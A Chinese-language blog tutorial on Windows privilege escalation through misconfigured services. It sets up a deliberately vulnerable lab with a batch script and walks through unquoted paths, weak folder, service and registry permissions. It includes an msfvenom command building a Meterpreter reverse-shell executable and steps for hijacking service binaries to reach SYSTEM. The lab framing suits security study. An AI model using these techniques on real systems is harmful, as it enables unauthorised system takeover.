windows配置错误导致的提权
前言
由于管理员或用户对某些服务或权限设置错误,导致提权
配置环境
参考文章:https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html
首先先搭建对应的环境:
windows 10
将以下保存为bat并以管理员权限执行
echo [*] Create user lowuser
net user lowuser lowuser1234 /add
echo [*] Create directories for the binaryPath of our services
mkdir "C:\WeakServices\Weak Service 1"
mkdir "C:\WeakServices\WeakService2"
mkdir "C:\WeakServices\WeakService3"
mkdir "C:\WeakServices\WeakService4"
echo [*] Use a default binary
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\Weak Service 1\service1.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService2\service2.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService3\service3.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService4\service4.exe"
echo [*] settings 权
icacls "C:\WeakServices\Weak Service 1" /deny lowuser:M
icacls "C:\WeakServices\WeakService3" /deny lowuser:M
icacls "C:\WeakServices\WeakService4" /deny lowuser:M
echo [*] 四服务
sc create WeakService1 displayName= "Unquoted Service Path" binPath= "C:\WeakServices\Weak Service 1\service1.exe" start= auto
sc create WeakService2 displayName= "Weak Folder Permissions" binPath= "C:\WeakServices\WeakService2\service2.exe" start= auto
sc create WeakService3 displayName= "Weak Service Permissions" binPath= "C:\WeakServices\WeakService3\service3.exe" obj= .\lowuser password= lowuser1234 start= auto
sc create WeakService4 displayName= "Weak Registry Permissions" binPath= "C:\WeakServices\WeakService4\service4.exe" start= demand
echo [*] Modifying WeakService3's permissions
sc sdset WeakService3 "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;DCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
创建完成后会有一个lowsuer用户,以及对应的服务
创建完成
常见的四种错误
- 不带引号的服务路径
- 弱文件夹权限
- 弱服务权限
- 注册表权限不足
利用的要求是:服务是系统启动时自启动的,服务的权限为高权用户
推荐利用手法:生成一个执行创建Administrator用户的exe,推测应该执行服务就断了所以反弹meterpreter那些不可取,下面会说到
不带引号的服务路径
执行wmic命令来过滤出不带引号的服务路径
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
使用sc查看对应的服务
PS:AUTO_START是系统启动将自启动该服务的意思
sc qc [servicename]
查看BINARY_PATH_NAME第一个父文件夹的权限
icacls [path]
可以从图中得到如下信息:
所有者:NT AUTHORITY\SYSTEM
可操作的用户组:NT AUTHORITY\Authenticated Users (所有用户的意思)
根据文章中说的带引号的文件寻找方法和不带引号的文件寻找方法:
然后使用msfvenom创建一个exe,改名为Weak.exe放入C:WeakServices\Weak.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f exe > Weak.exe
这里可能就有人问了,如果文件名没空格呢?比如C:lbw\Fuckyou\nm.exe那么就在lbw文件夹下创建
一个名为Fuckyou.exe,然后把Fuckyou文件夹给改名
由于低权用户无法重启服务,但是可以通过重启系统来让服务重新执行。重启之后将执行C:WeakServices\Weak.exe,为什么呢?因为在寻找二进制过程中,当发现由exe结尾的就会认为是对应服务的二进制文件,导致滥用
重启windows
在登录界面短暂的获取到meterpreter,我不清楚这里是windows10的问题还是什么原因,过了一段时间就会掉了
不知道什么原因?
这是GIF示例
system权限图
弱文件夹权限
这里用WeaKService2做示例
第一步寻找允许任意用户修改的服务,并且权限是高权用户所执行的(补充有说明)
得到所有用户都可以访问的结果后,生成一个exe将其改名为服务启动的exe替换。并长重启系统,这里用calc做例子
或者你直接把存放服务指定二进制的文件夹给改名了,自己在创建服务指定的二进制文件的文件夹。这里就是新建一个WeakServices2文件夹
重启GIF
弱服务权限
用WeakService3来做示例(
这里要用到一个工具来查看服务的权限,accesschk,下载地址:accesschk
执行accesschk -cv [service name]
允许Everyone设置服务任何操作,那么通过修改服务的BINARY_PATH_NAME,并重启该服务即可提升权限。这里将BINARY_PATH_NAME设置为如下路径
动态GIF
注册表权限不足
错误配置的服务注册表项,注册表路径HKLM\SYSTEM\CurrentControlSet\Services\<service_name>
存放着对应的服务设置
使用accesschk检查注册表的权限
执行accesschk -kvw [regedit path]
我这里查询不到,但是文章是可以查的到的。不过没关系,直接手动打开注册表对服务的ImagePath进行修改,如果修改成功的话就代表有权限。否则就没有
修改前:
(好吧,不是accesschk 的错,的确没有权限,那么这里就不弄了。可以自己看参考文章)
补充
寻找弱文件夹权限和弱服务权限使用到的操作是使用:accesschk64.exe -cv *
获取所有服务,然后搜索关键字:RW Everyone,挑选高权的服务
总结
当exp提权不下的时候,可以尝试寻找这些错误的配置。来提升自己的权限
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:windows配置错误导致的提权
本文作者:九世
发布时间:2019-08-26, 14:36:36
最后更新:2019-08-26, 16:50:15
原始链接:http://jiushill.github.io/posts/34b370c6.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。